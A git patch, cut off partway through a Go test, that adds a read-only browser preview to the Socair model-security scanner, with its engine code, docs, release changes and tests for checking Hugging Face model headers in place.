From 4046b8781b5f7393e4266b062be7487e649e977f Mon Sep 17 00:00:00 2001 From: Christopher Maher Date: Mon, 19 Oct 2026 10:15:47 -0700 Subject: [PATCH 1/2] Preview a Hugging Face model's headers in the browser, never as an attestation engine.PreviewDir and engine.PreviewGGUF run the checks on a model where it sits on the hub, reading in place with the hashes the hub states. They return an engine.Preview, a different type from the report: no promotion state, assurance level, issuer, or bounded statement, so nothing can sign or promote it. A check that reads a whole file (pickle, ONNX, Keras) is NOT_TESTED, named as the preview's. Every preview names the full commit it read, on huggingface.co only. No organization data and no Tier 2. Only the preview passes the directory scan stated hashes; a source check pins that every scan passes nil. modeldir.List walks a directory without opening a file. cmd/socair-preview builds the engine for js/wasm (13.6 MB, 2.6 MB brotli). tools/socair-preview holds the page's modules: a read-only filesystem over the hub through range requests that has no way to take a token and refuses gated and private repos, and the code that lists, selects, mounts, and runs. A repo of GGUF quants previews one quant. Releases carry the wasm, its loader, and both modules, reproducible and attested. On deepseek-ai/DeepSeek-V3 (688.6 GB) the preview read 59.6 MB in 19 s. Signed-off-by: Christopher Maher --- .github/workflows/ci.yml | 11 + .github/workflows/release.yml | 2 + README.md | 1 + cmd/socair-preview/main.go | 83 ++++++ docs/check-set.md | 1 + docs/preview.md | 101 +++++++ internal/checks/pickle/check.go | 9 +- internal/engine/preview.go | 189 +++++++++++++ internal/engine/preview_test.go | 325 ++++++++++++++++++++++ internal/engine/scan.go | 13 +- internal/engine/scandir.go | 39 ++- internal/modeldir/list_test.go | 46 ++++ internal/modeldir/modeldir.go | 18 ++ scripts/build-release.sh | 13 +- tools/socair-preview/.gitignore | 1 + tools/socair-preview/README.md | 18 ++ tools/socair-preview/build.sh | 14 + tools/socair-preview/hffs.js | 377 ++++++++++++++++++++++++++ tools/socair-preview/preview.js | 89 ++++++ tools/socair-preview/preview.test.mjs | 117 ++++++++ tools/socair-preview/try.mjs | 42 +++ 21 files changed, 1499 insertions(+), 10 deletions(-) create mode 100644 cmd/socair-preview/main.go create mode 100644 docs/preview.md create mode 100644 internal/engine/preview.go create mode 100644 internal/engine/preview_test.go create mode 100644 internal/modeldir/list_test.go create mode 100644 tools/socair-preview/.gitignore create mode 100644 tools/socair-preview/README.md create mode 100755 tools/socair-preview/build.sh create mode 100644 tools/socair-preview/hffs.js create mode 100644 tools/socair-preview/preview.js create mode 100644 tools/socair-preview/preview.test.mjs create mode 100644 tools/socair-preview/try.mjs diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c813677..8bfabe1 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -45,6 +45,12 @@ jobs: run: go vet ./... - name: build run: go build ./... + # The browser preview (cmd/socair-preview) builds only for js/wasm, so + # the native vet and build above skip it. + - name: preview (js/wasm) + run: | + GOOS=js GOARCH=wasm go vet ./cmd/socair-preview + GOOS=js GOARCH=wasm go build -o /dev/null ./cmd/socair-preview - name: test (race detector) run: go test -race ./... @@ -283,3 +289,8 @@ jobs: run: npm run test - name: build run: npm run build + # The preview's page modules, against a fake hub: no network, no + # dependencies. + - name: preview page modules + working-directory: tools/socair-preview + run: node --test preview.test.mjs diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index c00d18b..747b9fc 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -73,6 +73,7 @@ jobs: subject-path: | dist/socair_* dist/socair-sigstore_* + dist/socair-preview_* # Socair's own SBOM: the Go modules linked into each release binary, # read from the binaries' build information. It and the attestations # file go in meta/, not dist/, so the subject globs never match them. @@ -89,6 +90,7 @@ jobs: subject-path: | dist/socair_* dist/socair-sigstore_* + dist/socair-preview_* sbom-path: sbom.cdx.json # The attestations as a release asset too: verifiers that read release # assets (OpenSSF Scorecard, `gh attestation verify --bundle` offline) diff --git a/README.md b/README.md index 291e1dc..322cd0b 100644 --- a/README.md +++ b/README.md @@ -254,6 +254,7 @@ that run the model on your own GPUs, is built here in the open. | [oci.md](docs/oci.md) | Attestations on OCI model artifacts: attach and verify, the binding to the manifest digest, which layouts are matched, cosign and Kyverno | | [admission.md](docs/admission.md) | Kyverno policies that refuse a model pod without an authorized binding: what they check and what they do not, KServe, image volumes, the policy-controller gap | | [intake-host.md](docs/intake-host.md) | Running Socair as the model intake host for an on-prem GPU cluster | +| [preview.md](docs/preview.md) | The browser preview at socair.ai/try: the checks on a Hugging Face model's headers before you download it, and what a preview is not | | [kubernetes.md](docs/kubernetes.md) | The Helm chart: the airlock and the wizard in a cluster, who can reach them, and handing promoted models to LLMKube | | [provenance-bundle.md](docs/provenance-bundle.md) | The inputs that move each row: mirrors, denylists, provenance, signatures, a license policy, acceptances | | [intake-policy.md](docs/intake-policy.md) | An intake policy that can only withhold: allowed formats, publisher allow and deny lists, required publisher signatures | diff --git a/cmd/socair-preview/main.go b/cmd/socair-preview/main.go new file mode 100644 index 0000000..05c454a --- /dev/null +++ b/cmd/socair-preview/main.go @@ -0,0 +1,83 @@ +//go:build js && wasm + +// Command socair-preview is Socair's engine built for a browser, for the +// preview at socair.ai/try (docs/preview.md). The page mounts a Hugging Face +// repo as a read-only filesystem whose reads are HTTP range requests +// (tools/socair-preview/hffs.js) and calls: +// +// socairPreview(dir, sourceJSON, hashesJSON) // the repo as a model directory +// socairPreviewGGUF(path, sourceJSON, sha256) // one GGUF's own metadata +// +// Each returns a Promise for an engine.Preview as JSON. A preview is never a +// report: this command has no signing, no promotion, and no renderer. +package main + +import ( + "encoding/json" + "errors" + "syscall/js" + + "github.com/defilantech/socair/internal/engine" +) + +func main() { + js.Global().Set("socairPreview", js.FuncOf(func(_ js.Value, args []js.Value) any { + return promise(func() (*engine.Preview, error) { + if len(args) != 3 { + return nil, errors.New("socairPreview(dir, sourceJSON, hashesJSON)") + } + src, err := source(args[1].String()) + if err != nil { + return nil, err + } + var hashes map[string]string + if err := json.Unmarshal([]byte(args[2].String()), &hashes); err != nil { + return nil, err + } + return engine.PreviewDir(args[0].String(), src, hashes) + }) + })) + js.Global().Set("socairPreviewGGUF", js.FuncOf(func(_ js.Value, args []js.Value) any { + return promise(func() (*engine.Preview, error) { + if len(args) != 3 { + return nil, errors.New("socairPreviewGGUF(path, sourceJSON, sha256)") + } + src, err := source(args[1].String()) + if err != nil { + return nil, err + } + return engine.PreviewGGUF(args[0].String(), src, args[2].String()) + }) + })) + js.Global().Set("socairVersion", engine.Version) + select {} +} + +func source(s string) (engine.PreviewSource, error) { + var src engine.PreviewSource + err := json.Unmarshal([]byte(s), &src) + return src, err +} + +// promise runs f off the event loop, since it reads through the page's +// filesystem, and resolves to its preview as JSON. +func promise(f func() (*engine.Preview, error)) js.Value { + var run js.Func + run = js.FuncOf(func(_ js.Value, p []js.Value) any { + resolve, reject := p[0], p[1] + go func() { + defer run.Release() + pv, err := f() + if err == nil { + var b []byte + if b, err = json.Marshal(pv); err == nil { + resolve.Invoke(string(b)) + return + } + } + reject.Invoke(err.Error()) + }() + return nil + }) + return js.Global().Get("Promise").New(run) +} diff --git a/docs/check-set.md b/docs/check-set.md index d5a8663..8de0117 100644 --- a/docs/check-set.md +++ b/docs/check-set.md @@ -48,6 +48,7 @@ own suite, suite version, and probe-set digest ([tier2.md](tier2.md)). |---|---|---|---| | `tier1/0.11` | `1fc34539a816d9d2bfdad5005f5991fd08e10eacf4a6960bd6e4c31f0a9dd26f` | 2026-10-15 | No rule change: the Chat template check gains `Triggers`, which returns the literals the content conditions test in each template it grades LEAD, each with the prompts the template renders with it (armed, with the branch firing, and counterfactual, the same conversation without the branch's text), for Tier 2's trigger confirmation (#284, [tier2.md](tier2.md#trigger-confirmation)). It reads the same analysis and renderer the row does and changes no row's status, notes, or findings. | | `tier1/0.11` | `5a5d7715b241a0f1002ed4e94d442cc5dc79a748d87d03194b0483f2b8b390c7` | 2026-10-15 | Tokenizer config, on a GGUF: a special-token id of -1 written as a 32-bit integer (`0xFFFFFFFF`, signed or not) is the "no token" sentinel, not an id outside the vocabulary, so it no longer FAILs as `special-token-out-of-range`, as `tier1/0.7` did for a negative id in a directory's `config.json`. llama.cpp skips it with a warning, as it skips any id outside the vocabulary, and it names no token. Found on `ggml-org/tiny-llamas` `stories260K.gguf` (padding and separator ids), whose Tokenizer row FAILed on v0.1.0-rc.5. Any other id at or past the vocabulary's size still FAILs. The row's FAIL note no longer says llama.cpp "would misread or reject" every inconsistency: it says llama.cpp refuses a type or score table shorter than the vocabulary, skips a special-token id outside it with a warning, and reads a type it does not define as undefined. The change only removes a FAIL; the benchmark's outcomes are unchanged. See [false-positive-baseline.md](false-positive-baseline.md). | +| `tier1/0.11` | `afdc3469996cb8a96360828a31deec218b904b163f27b9bc807e00b1688f83d5` | 2026-10-19 | No rule change: the Pickle opcode scan's looks-for text becomes the exported constant `pickle.LooksFor`, so a preview's NOT_TESTED Pickle row ([preview.md](preview.md)) states it word for word. A scan's rows are unchanged. | | `tier1/0.10` | `b7a105c69b51c5acf6c9d23bd9b9b1e209d522a341e759bca4132ddefea38c5c` | 2026-10-14 | A check whose input was not supplied is named, not run. Two rows no longer grade NOT_TESTED for want of an input, and instead are listed in the report's `out_of_scope.not_run` with the reason, as the Tier 2 checks are: Known-bad hash match runs only when a known-bad list is supplied (`SOCAIR_DENYLIST`, or a verified feed that carries one; a list the operator named that is empty or could not be read still gives a NOT_TESTED row), and Chat template runs only when the artifact carries a template (a GGUF's `tokenizer.chat_template`; a directory's `tokenizer_config.json`, `chat_template.json`, or `.jinja` file; a template file that could not be read still gives a row). Neither withholds promotion when its input is absent, as the License policy row does not without a policy: a clean model pulled through the airlock with its provenance is authorized without an acceptance. There is no standing public list of malicious model files to default to, and a model with no template (a base, embedding, or reranker model) has none to check; a template a serving stack supplies is outside the artifact. `report.Validate` refuses a check named both as a row and as not run. The benchmark's outcomes are unchanged: its known-bad case is scanned with a list. | | `tier1/0.10` | `4faab69096968b98ea7c2ec0bec208e0c604b8196cb3b7b3f4d1c01acec79843` | 2026-10-14 | No rule change: the union of Keras models (#269, the row below) and OpenVINO IR models (#268, the two rows under it, merged as `c3c747a`), in one tree. The rule roots are both sides' (`internal/openvino`, `internal/hdf5`, and `internal/keras`). They meet in the format dispatch: a single file is read as a Keras model or other HDF5 file by its bytes first, then as an IR's XML, and the pickle row runs on neither (on an HDF5 file, only when it has a user block); a directory reads each `.h5`, `.hdf5`, or `.keras` whose bytes are one, and each IR `.xml` with its `.bin`. The Keras rules use the structure check's shared `grade` type under the name #268 gave it, and the notes for a format the scanner does not parse name both formats, which moves the fingerprint and no verdict. Neither side's rules change. | | `tier1/0.10` | `114be0ac58f99e38f84c1a7b7b2b3a3a27d473ddfda5f3d6e6152e1ca9800123` | 2026-10-14 | Keras models (#269), made on `main` at `e0df1d1`, the tree under the OpenVINO IR rows below: two new readers, `internal/hdf5` (HDF5 File Format Specification 4.0 at HDF5 2.2.0, stdlib only, bounded, reading as the library does where the two differ) and `internal/keras` (a `.keras` archive's members, and configs decoded as `checks/pyjson` decodes them), with an embedded registry of the class names keras 3.15.1 and tf_keras 2.21.0 register (`keras-classes.txt`, written by `internal/keras/classgen`). The Format and structure and File inventory rows read an HDF5 file (`.h5`, `.hdf5`, transformers' `tf_model.h5`) or a `.keras` archive, recognised by its bytes, on its own or in a model directory, where it was NOT_TESTED (".h5 is not a container this scanner parses"); a KerasHub preset's root JSON that is a Keras serialized object is checked by the config rules. Format and structure: FAIL `keras-lambda` for marshalled bytecode (a field whose `_type` is `"lambda"`, under any class; a legacy Lambda whose function is a list; a `__lambda__` object; CVE-2024-3660, CVE-2025-9905); FAIL `keras-pickle` for a `TorchModuleWrapper`'s pickled module; FAIL `keras-dangerous-reference` for a `NON_MODELING_APIS` name under a `keras` module, or a module and name the pickle check FAILs (CVE-2025-1550, CVE-2025-8747, CVE-2025-9906); LEAD `keras-name-path` for a name with a `..` component (CVE-2026-12479); NOT_TESTED, named, for a class or function from outside Keras, tf-keras, TensorFlow, KerasHub, KerasCV, and KerasNLP, a legacy class name Keras does not register, a function named with no module, a legacy Lambda's function by name, a `TFSMLayer` path, or a lookup layer's vocabulary path; KerasHub, KerasCV, and KerasNLP classes are named, not judged. HDF5: FAIL `tensor-layout` for storage, or the bytes a shape needs, past the end-of-file address, overlapping storage or metadata, a chunk off its grid, and bytes after the HDF5 data; FAIL `tensor-size` for contiguous, compact, or unfiltered chunk storage of another size than its type and shape need; FAIL `external-data-escape` for external storage or an external link (CVE-2026-1669, CVE-2026-9335); LEAD `hdf5-soft-link` and `hdf5-virtual-dataset` (CVE-2026-12480); NOT_TESTED for chunks never written, filtered chunks, chunk indexes the reader does not read, a user block, a truncated file, and every structure the reader names as unread. Archive: LEAD `keras-archive-entry` for a member Keras does not read or a repeated name, LEAD `archive-path-escape` for a name with a root, drive, or `..` (CVE-2026-11816); NOT_TESTED for `model.weights.npz` or compressed weights. File inventory scans the configs' keys and string values, `metadata.json`, string attributes (array elements of 64 bytes or more), object comments, an archive's comments, assets, and unread members, and a user block, with the existing payload patterns. The Pickle opcode scan no longer runs on a single Keras or HDF5 file, except one with a user block. New patterns: `keras-lambda`, `keras-pickle`, `keras-dangerous-reference` (critical), `archive-path-escape`, `keras-archive-entry`, `keras-name-path` (high), `hdf5-soft-link`, `hdf5-virtual-dataset` (medium). Outside the rules, the Format and structure PASS statement gains its Keras clause. Measured on 30 real files (20 HDF5, 10 archives) from 22 repositories: the reader reads exactly what h5py reads; 25 PASS, 4 NOT_TESTED naming code outside the file, 1 FAIL (a real Lambda's bytecode), no container finding; see [false-positive-baseline.md](false-positive-baseline.md) and [keras.md](keras.md). Benchmark: seven cases (six detected, one withheld as a gap) and three controls ([detection-benchmark.md](detection-benchmark.md)). | diff --git a/docs/preview.md b/docs/preview.md new file mode 100644 index 0000000..b44a32c --- /dev/null +++ b/docs/preview.md @@ -0,0 +1,101 @@ +# The browser preview + +The preview runs Socair's checks on a model where it sits on Hugging Face, +before anyone downloads it. The engine is compiled to WebAssembly +(`cmd/socair-preview`) and runs in the visitor's browser. The site serves it +at socair.ai/try once a release carries the preview's files. It reads each file through HTTP range +requests, straight from the hub, so it fetches only the bytes the checks read: +safetensors headers, GGUF metadata, configs, chat templates, tokenizers, and +the model card. Nothing is uploaded and nothing is stored. + +A preview is a first look. It is not an attestation, and it cannot become one. + +## What a preview is not + +- **Not signed, and no verdict.** A preview is an `engine.Preview`, a + different type from the report (`report.Document`). It has no promotion + state, no assurance level, no issuer, and no bounded statement, and + `attest.Sign` and the airlock take only a report. It carries a fixed notice + (`engine.PreviewNotice`) that says so. Whether a model is approved is your + organization's call, made with a full scan and your own key. +- **Not Socair's hashes.** The hashes are as Hugging Face states them for its + large (LFS) files, and computed by the preview from the bytes it read for the + small ones (`engine.PreviewHashes`). No weights are hashed, so the preview's + digest is the digest of stated hashes. A full scan through the airlock + computes every hash itself. +- **Not every check.** A check that reads a whole file is NOT_TESTED, and its + note begins "the preview reads headers only": the Pickle opcode scan, and the + structure of ONNX and Keras files. Checks that need your organization's data + (a known-bad list, reviewed templates, a license or intake policy, a signed + feed) do not run, and the preview names them as not run. Tier 2 never runs. +- **Not for gated or private repos.** The preview takes no Hugging Face token + and sends none. A gated or private repo is refused before any file is read; + pull it into your airlock with your own `HF_TOKEN` instead. + +Every preview names the full commit it read. A branch name is resolved to its +commit first, and the commit is what the preview reports, so a result cannot +be taken to cover a later version. + +## What it reads + +The preview reads the files a serving stack loads, which is the selection +[airlock.md](airlock.md#commands) recommends for a pull: + +- **A model served from safetensors:** the weights, every JSON config, the + tokenizer files, chat templates, the model card, and license files, plus any + Python, so the Remote code row judges it. +- **A repo of GGUF quants:** one quant, since a quant is pulled on its own (the + Q4_K_M by default, or the smallest), with the small files beside it. Each + GGUF's own metadata (chat template, tokenizer, quant) is previewed on its own, + as `socair scan .gguf` would read it. +- **Anything else:** every file. + +The page prints the selection as the airlock pull's `--include`, with the +commit, so doing it for real reads the same files at the same commit. + +If any read fails (the hub answers an error, or a file needs more than the +preview's read budget), the preview shows no rows at all. A check that could +not read a file must never look like it did. + +## Fidelity + +For the checks it runs, a preview reads what a full scan reads, through the +same engine. `TestPreviewFindsWhatAScanFinds` pins it on fixtures: the same +rows, and a digest equal to the full scan's subject when the stated hashes are +true. On real repos (2026-10-19, Node, home broadband): + +| Repo | In the repo | Read | Time | Rows | +|---|---|---|---|---| +| HuggingFaceTB/SmolLM2-135M-Instruct | 1.97 GB | 3.7 MB, 13 requests | 2.4 s | 5 PASS, provenance NOT_TESTED | +| deepseek-ai/DeepSeek-V3 | 688.6 GB, 163 shards | 59.6 MB, 181 requests | 19.2 s | 164 layouts verified; Remote code LEAD | +| bartowski/Qwen_Qwen3-0.6B-GGUF (Q4_K_M) | 12.95 GB, 24 quants | 6.4 MB, 10 requests | 4.5 s | structure, chat template, tokenizer, quant PASS | + +The engine for the browser is about 13.6 MB, 3.6 MB gzipped, 2.6 MB with +brotli. + +## How it works + +- `engine.PreviewDir` scans a directory in place with the hashes its source + states. Only it and `engine.PreviewGGUF` reach that path: every scan passes + the directory scan no stated hashes, and `TestScanNeverTakesStatedHashes` + checks the source for it. A header-only scan of a directory is refused. +- `tools/socair-preview/hffs.js` is a read-only filesystem over one repo at one + commit, in the shape Go's js/wasm runtime calls (`globalThis.fs`). Each read + becomes range requests, cached in 16 KiB blocks, with a window that doubles + while a file is read in order. It has no way to take a token. +- `tools/socair-preview/preview.js` lists the repo, picks the selection, + mounts it, runs the engine, and returns the previews or throws. +- A release carries the engine for the browser and the page's modules as + attested assets (`socair-preview_.wasm`, `..._wasm_exec.js`, + `..._hffs.js`, `..._preview.js`), built reproducibly by + `scripts/build-release.sh` and listed in `SHA256SUMS`. Verify them as + [verify-release.md](verify-release.md) describes for the binaries. + +## Run it locally + +``` +tools/socair-preview/build.sh # tools/socair-preview/dist/ +node tools/socair-preview/try.mjs HuggingFaceTB/SmolLM2-135M-Instruct +node tools/socair-preview/try.mjs org/name --all # every file +node --test tools/socair-preview/preview.test.mjs # the page's modules, no network +``` diff --git a/internal/checks/pickle/check.go b/internal/checks/pickle/check.go index 509917e..0974ac2 100644 --- a/internal/checks/pickle/check.go +++ b/internal/checks/pickle/check.go @@ -222,13 +222,16 @@ func InspectArchive(path string, opts Options) (checks.Result, *checks.ArchiveRe return r, s.torch.read() } -// CheckName is the row this check fills. -const CheckName = "Pickle opcode scan" +// CheckName is the row this check fills, and LooksFor what it looks for. +const ( + CheckName = "Pickle opcode scan" + LooksFor = "Imports in pickle-based model files that reach code execution, and pickles that build more than tensors and plain containers" +) func inspect(path string, opts Options) (checks.Result, *scan) { r := checks.Result{ Name: CheckName, - LooksFor: "Imports in pickle-based model files that reach code execution, and pickles that build more than tensors and plain containers", + LooksFor: LooksFor, } if safetensors.IsSafetensors(path) { diff --git a/internal/engine/preview.go b/internal/engine/preview.go new file mode 100644 index 0000000..8ac37b1 --- /dev/null +++ b/internal/engine/preview.go @@ -0,0 +1,189 @@ +package engine + +import ( + "errors" + "fmt" + "path" + "regexp" + "strings" + "time" + + "github.com/defilantech/socair/internal/checks" + "github.com/defilantech/socair/internal/modeldir" + "github.com/defilantech/socair/internal/report" +) + +// A preview runs the checks on a model where it sits on the hub, before +// anyone downloads it: socair.ai/try runs it in the visitor's browser +// (cmd/socair-preview), reading each file through HTTP range requests, so it +// fetches only what the checks read (docs/preview.md). +// +// It is never an attestation, and the types say so. A preview is a Preview, +// not a report.Document: it has no promotion state, assurance level, +// issuer, or bounded statement, and attest.Sign and the airlock take only a +// report.Document. Its hashes are the ones the source states, never +// computed by Socair, and a check that would read a whole file is +// NOT_TESTED. Only PreviewDir and PreviewGGUF reach the stated-hash path; +// every scan passes it nil (TestScanNeverTakesStatedHashes). + +const ( + // PreviewKind names the preview's format. + PreviewKind = "socair.preview/v1" + // PreviewNotice is the fixed statement every preview carries. + PreviewNotice = "A preview, not an attestation. Socair's open engine ran on this model's headers and small files, read from the hub, and read no weights. It is unsigned and decides nothing: it has no promotion state, and no one vouches for it. To approve a model, pull it through the airlock, scan it in full, and sign the report with your own key." + // PreviewHashes says where a preview's hashes come from. + PreviewHashes = "File hashes are as the hub states them for its large (LFS) files, and computed by the preview from the bytes it read for the small ones. Socair hashed no weights, so the digest is of the stated hashes, not one Socair computed." + // PreviewHeadersOnly opens the note of every row the preview did not run. + PreviewHeadersOnly = "the preview reads headers only" + // PreviewHub is the one source a preview reads. + PreviewHub = "huggingface.co" +) + +// PreviewSource is where a previewed model sits: the hub, the repo, and the +// full commit its revision resolved to. +type PreviewSource struct { + Hub string `json:"hub"` + Repo string `json:"repo"` + Commit string `json:"commit"` +} + +// PreviewFile is one file of a previewed model, with the hash its source +// states. +type PreviewFile struct { + Path string `json:"path"` + StatedSHA256 string `json:"stated_sha256"` + SizeBytes int64 `json:"size_bytes"` + Role string `json:"role,omitempty"` +} + +// PreviewModel is what the preview read about the model. +type PreviewModel struct { + Name string `json:"name"` + Architecture string `json:"architecture,omitempty"` + Format string `json:"format"` + SizeBytes int64 `json:"size_bytes"` + QuantDeclared string `json:"quant_declared,omitempty"` + QuantObserved string `json:"quant_observed,omitempty"` + License *report.License `json:"license,omitempty"` + BaseModels []report.BaseModel `json:"base_models,omitempty"` + Files []PreviewFile `json:"files"` + // StatedDigest is the manifest digest of the stated hashes (one file's + // stated hash, for a single file): what the airlock stages the same + // files as, if the hub's hashes hold. + StatedDigest string `json:"stated_digest"` +} + +// Preview is a header-only preview of a model on the hub. +type Preview struct { + Kind string `json:"kind"` + Notice string `json:"notice"` + Hashes string `json:"hashes"` + Source PreviewSource `json:"source"` + Model PreviewModel `json:"model"` + EngineVersion string `json:"engine_version"` + CheckSetVersion string `json:"check_set_version"` + Checks []report.CheckResult `json:"checks"` + NotRun []report.NotRunCheck `json:"not_run,omitempty"` + UnparsedFormats []string `json:"unparsed_formats,omitempty"` + DoesNotCertify string `json:"does_not_certify"` +} + +var ( + previewRepo = regexp.MustCompile(`^[A-Za-z0-9][A-Za-z0-9._-]{0,95}/[A-Za-z0-9][A-Za-z0-9._-]{0,95}$`) + commitHex = regexp.MustCompile(`^[0-9a-f]{40}$`) + sha256Hex = regexp.MustCompile(`^[0-9a-f]{64}$`) +) + +// Check refuses a source the preview cannot name exactly: another hub, a +// malformed repo id, or a revision that is not a full commit. A branch name +// could mean different bytes tomorrow, so a preview names the commit it read. +func (s PreviewSource) Check() error { + switch { + case s.Hub != PreviewHub: + return fmt.Errorf("a preview reads %s only, not %q", PreviewHub, s.Hub) + case !previewRepo.MatchString(s.Repo) || strings.Contains(s.Repo, ".."): + return fmt.Errorf("repo %q is not an org/name repo id", s.Repo) + case !commitHex.MatchString(s.Commit): + return fmt.Errorf("commit %q is not a full 40-hex commit; resolve the revision first", s.Commit) + } + return nil +} + +// PreviewDir previews the model directory dir, a mount of src at its commit, +// reading it in place. stated gives every file's SHA-256 by its path in +// dir, as src states it; a file without one stops the preview, naming it. +// No reference data and no Tier 2 run: a preview has none of an +// organization's inputs. +func PreviewDir(dir string, src PreviewSource, stated map[string]string) (*Preview, error) { + if err := src.Check(); err != nil { + return nil, err + } + if stated == nil { + return nil, errors.New("a preview needs the hashes its source states") + } + d, err := scanDir(dir, time.Now().UTC(), &references{}, Inputs{noEnv: true}, nil, stated) + if err != nil { + return nil, err + } + return previewOf(d, src, d.Artifact.Files, d.Artifact.SHA256), nil +} + +// PreviewGGUF previews one GGUF file, whose own metadata carries the chat +// template, tokenizer, and quant rows, read in place in header mode. +// statedSHA256 is its hash as src states it. +func PreviewGGUF(file string, src PreviewSource, statedSHA256 string) (*Preview, error) { + if err := src.Check(); err != nil { + return nil, err + } + if strings.ToLower(path.Ext(file)) != ".gguf" { + return nil, fmt.Errorf("%s: PreviewGGUF previews a .gguf file", file) + } + if !sha256Hex.MatchString(statedSHA256) { + return nil, fmt.Errorf("a preview needs the file's SHA-256 from its source; none stated for %s", path.Base(file)) + } + d, err := scanFile(file, ModeHeaders, time.Now().UTC(), &references{}, Inputs{noEnv: true}, nil) + if err != nil { + return nil, err + } + f := report.ArtifactFile{Path: path.Base(file), SHA256: statedSHA256, SizeBytes: d.Artifact.SizeBytes, Role: modeldir.RoleWeights} + return previewOf(d, src, []report.ArtifactFile{f}, statedSHA256), nil +} + +// previewOf keeps the rows and what was read, and leaves out everything an +// attestation adds. +func previewOf(d *report.Document, src PreviewSource, files []report.ArtifactFile, digest string) *Preview { + p := &Preview{ + Kind: PreviewKind, + Notice: PreviewNotice, + Hashes: PreviewHashes, + Source: src, + Model: PreviewModel{ + Name: src.Repo, + Architecture: d.Artifact.Architecture, + Format: d.Artifact.Format, + SizeBytes: d.Artifact.SizeBytes, + QuantDeclared: d.Artifact.QuantDeclared, + QuantObserved: d.Artifact.QuantObserved, + License: d.Artifact.License, + BaseModels: d.Artifact.BaseModels, + StatedDigest: digest, + }, + EngineVersion: Version, + CheckSetVersion: d.Scope.CheckSetVersion, + Checks: d.Checks, + NotRun: d.OutOfScope.NotRun, + UnparsedFormats: d.OutOfScope.UnparsedFormats, + DoesNotCertify: d.OutOfScope.DoesNotCertify, + } + for _, f := range files { + p.Model.Files = append(p.Model.Files, PreviewFile{Path: f.Path, StatedSHA256: f.SHA256, SizeBytes: f.SizeBytes, Role: f.Role}) + } + return p +} + +// headersOnly is the row, or the part of a row, for a check the preview did +// not run because it reads a whole file. +func headersOnly(name, looksFor, why string) checks.Result { + return checks.Result{Name: name, LooksFor: looksFor, Status: checks.NotTested, + Notes: PreviewHeadersOnly + ": " + why + ". Pull the model through the airlock and scan it to run this check"} +} diff --git a/internal/engine/preview_test.go b/internal/engine/preview_test.go new file mode 100644 index 0000000..187de16 --- /dev/null +++ b/internal/engine/preview_test.go @@ -0,0 +1,325 @@ +package engine + +import ( + "encoding/json" + "go/ast" + "go/parser" + "go/token" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + + "github.com/defilantech/socair/internal/gguf/gguftest" + "github.com/defilantech/socair/internal/modeldir" + "github.com/defilantech/socair/internal/report" +) + +var hubSource = PreviewSource{Hub: PreviewHub, Repo: "org/tiny", Commit: strings.Repeat("c0ffee12", 5)} + +// stated returns each file's true SHA-256, as a hub would state it. +func stated(t *testing.T, dir string) map[string]string { + t.Helper() + _, files, err := modeldir.Hash(dir) + if err != nil { + t.Fatal(err) + } + m := map[string]string{} + for _, f := range files { + m[f.Path] = f.SHA256 + } + return m +} + +func previewRow(p *Preview, name string) report.CheckResult { + for _, c := range p.Checks { + if c.Name == name { + return c + } + } + return report.CheckResult{} +} + +// The preview reads in place and reports each hash as its source states +// it. Falsification: a snapshot needs SOCAIR_SCAN_TMP, set here to a volume +// that does not exist, so a preview that copied would fail; and the stated +// weight hash is wrong on purpose, so a preview that hashed would report +// another. +func TestPreviewReadsInPlaceWithStatedHashes(t *testing.T) { + dir := modelRepo(t, nil) + hashes := stated(t, dir) + hashes["model.safetensors"] = strings.Repeat("ab", 32) + t.Setenv("SOCAIR_SCAN_TMP", filepath.Join(t.TempDir(), "missing")) + + p, err := PreviewDir(dir, hubSource, hashes) + if err != nil { + t.Fatal(err) + } + for _, f := range p.Model.Files { + if f.StatedSHA256 != hashes[f.Path] { + t.Errorf("%s: %s, want the stated %s", f.Path, f.StatedSHA256, hashes[f.Path]) + } + } + for name, want := range map[string]report.Status{ + "Format and structure": report.StatusPass, "Chat template": report.StatusPass, + "Remote code": report.StatusPass, "Tokenizer config": report.StatusPass, + } { + if got := previewRow(p, name).Status; got != want { + t.Errorf("%s = %s (%s), want %s", name, got, previewRow(p, name).Notes, want) + } + } + if p.Model.Name != "org/tiny" || p.Source.Commit != hubSource.Commit { + t.Errorf("model %q at %q, want the source's repo and commit", p.Model.Name, p.Source.Commit) + } + if p.Kind != PreviewKind || p.Notice != PreviewNotice || p.Hashes != PreviewHashes { + t.Error("a preview carries its kind and its fixed statements") + } +} + +func TestPreviewNeedsEveryFilesHash(t *testing.T) { + dir := modelRepo(t, nil) + for name, edit := range map[string]func(map[string]string){ + "missing": func(h map[string]string) { delete(h, "config.json") }, + "malformed": func(h map[string]string) { h["config.json"] = "a git blob id" }, + } { + hashes := stated(t, dir) + edit(hashes) + if _, err := PreviewDir(dir, hubSource, hashes); err == nil || !strings.Contains(err.Error(), "config.json") { + t.Errorf("%s: a file with no stated SHA-256 must stop the preview, naming it: %v", name, err) + } + } + if _, err := PreviewDir(dir, hubSource, nil); err == nil { + t.Error("a preview with no stated hashes must stop") + } +} + +// Every preview names the full commit it read, on the hub it reads. +func TestPreviewNamesTheCommit(t *testing.T) { + dir := modelRepo(t, nil) + for name, src := range map[string]PreviewSource{ + "a branch": {Hub: PreviewHub, Repo: "org/tiny", Commit: "main"}, + "a short commit": {Hub: PreviewHub, Repo: "org/tiny", Commit: "c0ffee12"}, + "an upper commit": {Hub: PreviewHub, Repo: "org/tiny", Commit: strings.ToUpper(hubSource.Commit)}, + "another hub": {Hub: "example.com", Repo: "org/tiny", Commit: hubSource.Commit}, + "no repo": {Hub: PreviewHub, Repo: "tiny", Commit: hubSource.Commit}, + "a path": {Hub: PreviewHub, Repo: "org/../tiny", Commit: hubSource.Commit}, + } { + if _, err := PreviewDir(dir, src, stated(t, dir)); err == nil { + t.Errorf("%s: a preview must name a full commit on %s", name, PreviewHub) + } + } + p, err := PreviewDir(dir, hubSource, stated(t, dir)) + if err != nil { + t.Fatal(err) + } + if p.Source != hubSource { + t.Errorf("source %+v, want %+v", p.Source, hubSource) + } +} + +// The preview finds what a full scan finds, for the checks it runs. +func TestPreviewFindsWhatAScanFinds(t *testing.T) { + dir := modelRepo(t, map[string]string{"modeling_tiny.py": "import os\n", "config.json": `{"auto_map":{"AutoModel":"modeling_tiny.TinyModel"}}`}) + full, err := Scan(dir) + if err != nil { + 